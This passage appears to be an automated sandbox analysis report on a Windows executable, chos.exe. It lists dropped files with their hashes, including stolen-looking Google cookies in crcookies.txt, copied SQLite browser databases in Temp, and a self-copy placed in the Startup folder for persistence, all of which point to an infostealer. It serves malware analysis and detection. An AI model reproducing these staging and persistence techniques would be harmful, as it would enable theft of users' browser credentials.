                                                                                                                                                                                                                                            Entropy (8bit):5.714200636114494
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:96:QXVuEmegx01TQIvFCiq9H/H7vp88FxTXiJPkGJP4CWweXQHmnDpMI78IegK5EeZR:QXVxAbYkU4CWweXQHmnDpMeV2BvTRqQF
                                                                                                                                                                                                                                            MD5:44D352C4997560C7BFB82D9360F5985A
                                                                                                                                                                                                                                            SHA1:BE58C7B8AB32790384E4E4F20865C4A88414B67A
                                                                                                                                                                                                                                            SHA-256:783E654742611AF88CD9F00BF01A431A219DB536556E63FF981C7BD673070AC9
                                                                                                                                                                                                                                            SHA-512:281B1D939A560E6A08D0606E5E8CE15F086B4B45738AB41ED6B5821968DC8D764CD6B25DB6BA562A07018C271ABF17A6BC5A380FAD05696ADF1D11EE2C5749C8
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:../../bin/wheel,sha256=cT2EHbrv-J-UyUXu26cDY-0I7RgcruysJeHFanT1Xfo,249..wheel-0.43.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..wheel-0.43.0.dist-info/LICENSE.txt,sha256=MMI2GGeRCPPo6h0qZYx8pBe9_IkcmO8aifpP8MmChlQ,1107..wheel-0.43.0.dist-info/METADATA,sha256=WbrCKwClnT5WCKVrjPjvxDgxo2tyeS7kOJyc1GaceEE,2153..wheel-0.43.0.dist-info/RECORD,,..wheel-0.43.0.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..wheel-0.43.0.dist-info/WHEEL,sha256=EZbGkh7Ie4PoZfRQ8I0ZuP9VklN_TvcZ6DSE5Uar4z4,81..wheel-0.43.0.dist-info/entry_points.txt,sha256=rTY1BbkPHhkGMm4Q3F0pIzJBzW2kMxoG1oriffvGdA0,104..wheel/__init__.py,sha256=D6jhH00eMzbgrXGAeOwVfD5i-lCAMMycuG1L0useDlo,59..wheel/__main__.py,sha256=NkMUnuTCGcOkgY0IBLgBCVC_BGGcWORx2K8jYGS12UE,455..wheel/__pycache__/__init__.cpython-312.pyc,,..wheel/__pycache__/__main__.cpython-312.pyc,,..wheel/__pycache__/_setuptools_logging.cpython-312.pyc,,..wheel/__pycache__/bdist_wheel.cpython-312.pyc,,..wheel/__pycache

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools\_vendor\wheel-0.43.0.dist-info\WHEEL

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):81
                                                                                                                                                                                                                                            Entropy (8bit):4.672346887071811
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3:RtEeX/QFM+vxP+tPCCfA5I:Rt1Qq2WBB3
                                                                                                                                                                                                                                            MD5:24019423EA7C0C2DF41C8272A3791E7B
                                                                                                                                                                                                                                            SHA1:AAE9ECFB44813B68CA525BA7FA0D988615399C86
                                                                                                                                                                                                                                            SHA-256:1196C6921EC87B83E865F450F08D19B8FF5592537F4EF719E83484E546ABE33E
                                                                                                                                                                                                                                            SHA-512:09AB8E4DAA9193CFDEE6CF98CCAE9DB0601F3DCD4944D07BF3AE6FA5BCB9DC0DCAFD369DE9A650A38D1B46C758DB0721EBA884446A8A5AD82BB745FD5DB5F9B1
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:Wheel-Version: 1.0.Generator: flit 3.9.0.Root-Is-Purelib: true.Tag: py3-none-any.

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools\_vendor\wheel-0.43.0.dist-info\entry_points.txt

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):104
                                                                                                                                                                                                                                            Entropy (8bit):4.271713330022269
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3:1SSAnAYgh+MWTMhk6WjrAM5t5ln:1Jb9WTMhk9jUM5t5ln
                                                                                                                                                                                                                                            MD5:6180E17C30BAE5B30DB371793FCE0085
                                                                                                                                                                                                                                            SHA1:E3A12C421562A77D90A13D8539A3A0F4D3228359
                                                                                                                                                                                                                                            SHA-256:AD363505B90F1E1906326E10DC5D29233241CD6DA4331A06D68AE27DFBC6740D
                                                                                                                                                                                                                                            SHA-512:69EAE7B1E181D7BA1D3E2864D31E1320625A375E76D3B2FBF8856B3B6515936ACE3138D4D442CABDE7576FCFBCBB0DEED054D90B95CFA1C99829DB12A9031E26
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:[console_scripts].wheel=wheel.cli:main..[distutils.commands].bdist_wheel=wheel.bdist_wheel:bdist_wheel..

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\sqlite3.dll

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):1540368
                                                                                                                                                                                                                                            Entropy (8bit):6.577233901213655
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:24576:cmKZpHTv4iPI9FDgJNRs++l8GwLXSz4ih5Z5jWbsxuIl40OwumzuLxIhiE:0rJoDgJNRs+U8GwLXSMIZ5jWb0uIl48R
                                                                                                                                                                                                                                            MD5:7E632F3263D5049B14F5EDC9E7B8D356
                                                                                                                                                                                                                                            SHA1:92C5B5F96F1CBA82D73A8F013CBAF125CD0898B8
                                                                                                                                                                                                                                            SHA-256:66771FBD64E2D3B8514DD0CD319A04CA86CE2926A70F7482DDEC64049E21BE38
                                                                                                                                                                                                                                            SHA-512:CA1CC67D3EB63BCA3CE59EF34BECCE48042D7F93B807FFCD4155E4C4997DC8B39919AE52AB4E5897AE4DBCB47592C4086FAC690092CAA7AA8D3061FBA7FE04A2
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......gsX.#.6.#.6.#.6.*j../.6.3.7.!.6.3.5.'.6.3.2.+.6.3.3...6.hj7. .6.#.7...6.k.>.".6.k.6.".6.k..".6.k.4.".6.Rich#.6.........................PE..d.....g.........." ...).0...(.......................................................P....`..............................................#...........`...............R.../...p..X...0...T..............................@............@..X............................text...9........0.................. ..`.rdata..,....@.......4..............@..@.data...`M...0...D..................@....pdata...............\..............@..@.rsrc........`.......8..............@..@.reloc..X....p.......B..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\unicodedata.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):709904
                                                                                                                                                                                                                                            Entropy (8bit):5.861739047785334
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:12288:FYGdLI/X77mvfldCKGihH32W3cnPSqrUgLIe:FYGW7qNxr3cnPXLIe
                                                                                                                                                                                                                                            MD5:0902D299A2A487A7B0C2D75862B13640
                                                                                                                                                                                                                                            SHA1:04BCBD5A11861A03A0D323A8050A677C3A88BE13
                                                                                                                                                                                                                                            SHA-256:2693C7EE4FBA55DC548F641C0CB94485D0E18596FFEF16541BD43A5104C28B20
                                                                                                                                                                                                                                            SHA-512:8CBEF5A9F2D24DA1014F8F1CCBDDD997A084A0B04DD56BCB6AC38DDB636D05EF7E4EA7F67A085363AAD3F43D45413914E55BDEF14A662E80BE955E6DFC2FECA3
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Q.............(.....(.....(.....(.....)................).....).....)x....)....Rich..................PE..d.....g.........." ...).B...f......P,..............................................<.....`.........................................P...X................................/..........p...T...........................0...@............`..h............................text....@.......B.................. ..`.rdata...?...`...@...F..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\crcookies.txt

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):275
                                                                                                                                                                                                                                            Entropy (8bit):5.8325387716694586
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:6:Pk3rocHDyzxbiEv3rocHDKJLmIrBNuYraqWTfqgqlB1Hwsv7OjPy:c79EkEv79cBNuMWfqnym7O7y
                                                                                                                                                                                                                                            MD5:AB7B31497A89CEE58FF7F42012F5A062
                                                                                                                                                                                                                                            SHA1:9DD69E3FBB93EC045695C41441B4DD89F541298D
                                                                                                                                                                                                                                            SHA-256:5C95D789D8C24DC5BF5C4D371CC1CA581D3A7FCBC6CC180F244F35BCC937967F
                                                                                                                                                                                                                                            SHA-512:67235EF3F65278D9F251BA6DEA45EAEC42F56900363E727F90659DF1146BFE673077906015F43F26F93CC43478DDA1F11EADAD865845A75F8FB4C27B66734960
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:.google.com.TRUE./.FALSE.2597573456.1P_JAR.2023-10-05-08...google.com.TRUE./.FALSE.2597573456.NID.511=orcSInoZBb6Srw0PdPMNeLGKsegfLi-tQnviho5hKJXKDNg0kXIPnfTcuwV5r7RqjT893pWGJF7klKqldBoj4rDJvxfFlgDOCcW9aKDnU9zIlUh2LP0vO8k3uT0gHJD1JvVAclkJnKwZG6hDAl62HrMxNrUeqSR-WF1J-l9YYgE..

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Tempcrcwdkskcp.db

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):106496
                                                                                                                                                                                                                                            Entropy (8bit):1.1373607036346451
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
                                                                                                                                                                                                                                            MD5:64BCCF32ED2142E76D142DF7AAC75730
                                                                                                                                                                                                                                            SHA1:30AB1540F7909BEE86C0542B2EBD24FB73E5D629
                                                                                                                                                                                                                                            SHA-256:B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
                                                                                                                                                                                                                                            SHA-512:0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Tempcrdunhhvcy.db

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):159744
                                                                                                                                                                                                                                            Entropy (8bit):0.5394293526345721
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
                                                                                                                                                                                                                                            MD5:52701A76A821CDDBC23FB25C3FCA4968
                                                                                                                                                                                                                                            SHA1:440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
                                                                                                                                                                                                                                            SHA-256:D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
                                                                                                                                                                                                                                            SHA-512:2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Tempcrirpgqioc.db

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):20480
                                                                                                                                                                                                                                            Entropy (8bit):0.8475592208333753
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBOF30AvJ3qj/880C4pwE1:TeAFawNLopFgU10XJBORJ6px4p7
                                                                                                                                                                                                                                            MD5:BE99679A2B018331EACD3A1B680E3757
                                                                                                                                                                                                                                            SHA1:6E6732E173C91B0C3287AB4B161FE3676D33449A
                                                                                                                                                                                                                                            SHA-256:C382A020682EDEE086FBC56D11E70214964D39318774A19B184672E9FD0DD3E0
                                                                                                                                                                                                                                            SHA-512:9CFE1932522109D73602A342A15B7326A3E267B77FFF0FC6937B6DD35A054BF4C10ED79D34CA38D56330A5B325E08D8AFC786A8514C59ABB896864698B6DE099
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Tempcrisonoqei.db

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):20480
                                                                                                                                                                                                                                            Entropy (8bit):0.8475592208333753
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBOF30AvJ3qj/880C4pwE1:TeAFawNLopFgU10XJBORJ6px4p7
                                                                                                                                                                                                                                            MD5:BE99679A2B018331EACD3A1B680E3757
                                                                                                                                                                                                                                            SHA1:6E6732E173C91B0C3287AB4B161FE3676D33449A
                                                                                                                                                                                                                                            SHA-256:C382A020682EDEE086FBC56D11E70214964D39318774A19B184672E9FD0DD3E0
                                                                                                                                                                                                                                            SHA-512:9CFE1932522109D73602A342A15B7326A3E267B77FFF0FC6937B6DD35A054BF4C10ED79D34CA38D56330A5B325E08D8AFC786A8514C59ABB896864698B6DE099
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Tempcrjbsgogsc.db

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):40960
                                                                                                                                                                                                                                            Entropy (8bit):0.8553638852307782
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                                                                                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                                                                                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                                                                                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                                                                                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Tempcrkjdmhjtp.db

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):40960
                                                                                                                                                                                                                                            Entropy (8bit):0.8553638852307782
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                                                                                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                                                                                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                                                                                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                                                                                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Tempcrmgbotbit.db

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):106496
                                                                                                                                                                                                                                            Entropy (8bit):1.1373607036346451
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
                                                                                                                                                                                                                                            MD5:64BCCF32ED2142E76D142DF7AAC75730
                                                                                                                                                                                                                                            SHA1:30AB1540F7909BEE86C0542B2EBD24FB73E5D629
                                                                                                                                                                                                                                            SHA-256:B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
                                                                                                                                                                                                                                            SHA-512:0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Tempcrmivkfzbe.db

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):159744
                                                                                                                                                                                                                                            Entropy (8bit):0.5394293526345721
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
                                                                                                                                                                                                                                            MD5:52701A76A821CDDBC23FB25C3FCA4968
                                                                                                                                                                                                                                            SHA1:440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
                                                                                                                                                                                                                                            SHA-256:D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
                                                                                                                                                                                                                                            SHA-512:2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Tempcrprysjzmw.db

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):106496
                                                                                                                                                                                                                                            Entropy (8bit):1.1373607036346451
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
                                                                                                                                                                                                                                            MD5:64BCCF32ED2142E76D142DF7AAC75730
                                                                                                                                                                                                                                            SHA1:30AB1540F7909BEE86C0542B2EBD24FB73E5D629
                                                                                                                                                                                                                                            SHA-256:B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
                                                                                                                                                                                                                                            SHA-512:0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Tempcrzjllkust.db

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):106496
                                                                                                                                                                                                                                            Entropy (8bit):1.1373607036346451
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
                                                                                                                                                                                                                                            MD5:64BCCF32ED2142E76D142DF7AAC75730
                                                                                                                                                                                                                                            SHA1:30AB1540F7909BEE86C0542B2EBD24FB73E5D629
                                                                                                                                                                                                                                            SHA-256:B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
                                                                                                                                                                                                                                            SHA-512:0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):17703403
                                                                                                                                                                                                                                            Entropy (8bit):7.994253774396037
                                                                                                                                                                                                                                            Encrypted:true
                                                                                                                                                                                                                                            SSDEEP:393216:2QK+9YiZAwq3Obs2CltXMCHWUj/cuIbvR/PqK1yXms56YjZCro:3K+9YiZAwq3ObRqtXMb8Ut/iKb4Cro
                                                                                                                                                                                                                                            MD5:C93BC8DCDB9B8C4B49B429B64C182B92
                                                                                                                                                                                                                                            SHA1:C3F242A8B0EEA955E86A95D95E08FB417AC553F2
                                                                                                                                                                                                                                            SHA-256:125E6A6964BE32FBC935900B7DE62513A0D6CD19C50A51A11B272636FD895EA6
                                                                                                                                                                                                                                            SHA-512:731016910D196F1872B365B0D80AF0801B1A9E1B6202965AA61080CF461429F507EBCCC2D5DD938CA0748E96A1F532E66A2ADB14A4BFFB688EAB49D1037E273F
                                                                                                                                                                                                                                            Malicious:true
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......t=.30\.`0\.`0\.`{$.a7\.`{$.a.\.`{$.a:\.` ..`3\.` ..a9\.` ..a!\.` ..a.\.`{$.a;\.`0\.`.\.`{..a)\.`{..a1\.`Rich0\.`........PE..d.....Rg.........."....)............ ..........@............................. .......}....`.................................................4...x....p.......@..8"..............d...................................@...@............................................text...p........................... ..`.rdata..(*.......,..................@..@.data....S..........................@....pdata..8"...@...$..................@..@.rsrc........p......................@..@.reloc..d...........................@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            Static File Info

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            File type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Entropy (8bit):7.994253774396037
                                                                                                                                                                                                                                            TrID:
                                                                                                                                                                                                                                            • Win64 Executable GUI (202006/5) 92.65%
                                                                                                                                                                                                                                            • Win64 Executable (generic) (12005/4) 5.51%
                                                                                                                                                                                                                                            • Generic Win/DOS Executable (2004/3) 0.92%
                                                                                                                                                                                                                                            • DOS Executable Generic (2002/1) 0.92%
                                                                                                                                                                                                                                            • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                                                                                                            File name:chos.exe
                                                                                                                                                                                                                                            File size:17'703'403 bytes
                                                                                                                                                                                                                                            MD5:c93bc8dcdb9b8c4b49b429b64c182b92
                                                                                                                                                                                                                                            SHA1:c3f242a8b0eea955e86a95d95e08fb417ac553f2
                                                                                                                                                                                                                                            SHA256:125e6a6964be32fbc935900b7de62513a0d6cd19c50a51a11b272636fd895ea6
                                                                                                                                                                                                                                            SHA512:731016910d196f1872b365b0d80af0801b1a9e1b6202965aa61080cf461429f507ebccc2d5dd938ca0748e96a1f532e66a2adb14a4bffb688eab49d1037e273f
                                                                                                                                                                                                                                            SSDEEP:393216:2QK+9YiZAwq3Obs2CltXMCHWUj/cuIbvR/PqK1yXms56YjZCro:3K+9YiZAwq3ObRqtXMb8Ut/iKb4Cro
                                                                                                                                                                                                                                            TLSH:2C073305E2E06CDBDBB25538FE65E1D4A4897F660F7CC61B5670730A0AB30C1987AE1B
